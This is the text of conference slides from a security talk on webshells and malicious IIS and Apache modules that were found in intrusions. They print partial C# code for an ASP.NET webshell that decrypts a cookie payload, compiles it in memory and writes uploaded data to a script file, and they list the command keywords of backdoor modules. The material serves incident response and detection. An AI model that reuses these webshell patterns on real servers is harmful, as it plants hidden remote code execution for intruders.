
Beyond	Webshells
OPCDE	2018

April	7,	2018
Case	studies	and	examples	are	drawn	from	our	experiences	and	activities	working	for	a	variety	of	customers,	and	do	not	represent our	work	for	any	one	
customer	or	set	of	customers.	In	many	cases,	facts	have	been	changed	to	obscure	the	identity	of	our	customers	and	individuals associated	with	our	
customers.
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Consistent…
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An	evolution...
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Overview
◆ AV	does	a	bad	job.

◆ Detected	by	network	signatures,	scanning,	and	
behaviour analysis.

◆ Hidden	and	confusingly	similar

▶ errorEF.aspx

▶ errorEE.aspx?

▶ error3.aspx?

▶ logoff.aspx

▶ logout.aspx?

◆ Log	file	analysis	and	preservation	(.compiled)	
files	point	to	other	evil.
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Humble	Beginnings
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New	Evasion	Techniques	&	Embedding	into	Legitimate

7



©2018	FireEye		|		Private	&	Confidential	

Putting	it	all	together
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ftpext.tlb

logoff.aspx

logon.aspx

flogon.js
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Dynamic	Webshells!
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HttpCookie s	=	Request.Cookies["session"];
HttpCookie s_id =	Request.Cookies["session_id"];
….

SHA1	sha =	new	SHA1CryptoServiceProvider();

byte[]	serial1	=	System.Convert.FromBase64String(s_id.Value.Substring(1));

byte[]	serial2	=	System.Text.Encoding.UTF8.GetBytes("722f4494-15b6-4748-ae53-7aa3a57821b2");

byte[]	serial	=	new	byte[serial1.Length	+	serial2.Length];	

System.Buffer.BlockCopy(serial1,	0,	serial,	0,	serial1.Length);

System.Buffer.BlockCopy(serial2,	0,	serial,	serial1.Length,	serial2.Length);

byte[]	e1	=	sha.ComputeHash(serial);

byte[]	e2	=	System.Convert.FromBase64String(s.Value.Substring(1))

string	session =	System.Text.Encoding.UTF8.GetString(RC4.crypt(e1,	e2));
…

ICodeCompiler loCompiler =	new	CSharpCodeProvider().CreateCompiler();
CompilerParameters loParameters =	new	CompilerParameters();

…

//	***	Load	the	resulting	assembly	into	memory

loParameters.GenerateInMemory =	true;	

/	***	Now	compile	the	whole	thing

CompilerResults loCompiled =	loCompiler.CompileAssemblyFromSource(loParameters,session);	/
Assembly	loAssembly =	loCompiled.CompiledAssembly;
…

object	loObject =	loAssembly.CreateInstance("MyNamespace.MyClass");

object[]	loCodeParms =	new	object[3];

loCodeParms[0]	=	Request;

loCodeParms[1]	=	Response;

loCodeParms[2]	=	e1;

…

object	loResult =	loObject.GetType().InvokeMember("DynamicCode",BindingFlags.InvokeMethod,
null,loObject,loCodeParms);

◆ COOKIES	contain	encrypted	webshell along	with	
key	necessary	for	decryption.

◆ POST	data	that	is	intended	to	be	interpreted	by	
final	web	shell.
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Dynamic	Webshells!
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public	class	MyClass

{

public	void	DynamicCode(params object[]	Parameters)	

{

HttpRequest Request	=	(HttpRequest)	Parameters[0];

HttpResponse Response	=	(HttpResponse)	Parameters[1];

byte[]	key	=	(byte[])	Parameters[2];

Random	r	=	new	Random();

Response.ClearContent();

try	{

string	output	=	"";

byte[]	bytes	=	Request.BinaryRead(Request.ContentLength);

bytes	=	RC4.crypt(key,	bytes);

FileStream fs	=	File.OpenWrite(@"c:\PerfLogs\Bandwidth.ps1");

fs.Seek(0,	SeekOrigin.Begin);

fs.Write(bytes,	0,	bytes.Length);

fs.Flush();

fs.Close();

output	=	"OK”;

….

◆ COOKIES	contain	encrypted	webshell along	with	
key	necessary	for	decryption.

◆ POST	data	that	is	intended	to	be	interpreted	by	
final	web	shell.
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Beyond	Webshells
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◆ ISAPI	Filters	in	the	past

◆Managed	Modules

▶ .NET

▶ Inherits	ASP.NET	privileges	(web.config)

▶ Credit:	https://msdn.microsoft.com/en-
us/library/bb470252.aspx

◆ Native	Modules

▶ C++

▶ Admin	rights	required	to	register	(GUI	or	
AppCmd)

▶ Elevated	privileges

▶ Can	access	all	requests,	not	just	.aspx.

Credit:	https://msdn.microsoft.com/en-us/library/bb470252.aspx
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Beyond	Webshells	(Managed	Module)
◆Microsoft.Exchange.Clients.Auth.dll
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Beyond	Webshells	(Native	Modules)
◆ Exported	function:	RegisterModule

◆ HttpParser.dll

▶ RGSESSIONID	cookie	contains	base64	encoded	&	XOR’d command.

– Execute:	cmd$

– Upload:	upload$

– Download:	download$

◆ HttpModule.dll

▶ If	25th	known	headers	in	HTTP	raw	header	is	"Default-Windows”

– Execute:	rc

– Upload:	uf

– Download:	df
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Apache,	PHP,	NGINX	&	More
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Apache,	PHP,	NGINX	&	More
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LoadModule

extension=
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Outlook	and	Implications
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◆ Log	all	the	things.

◆ Be	prepared	to	include	modules	/	extension	analysis.

◆ Be	prepared	for	application	specific	modules:

▶ Exchange	Transport	Agents

▶ SharePoint	Framework	Extensions

◆ Use	modules	for	logging	attackers	access	to	webshells in	a	targeted	intrusion.



THANK	YOU


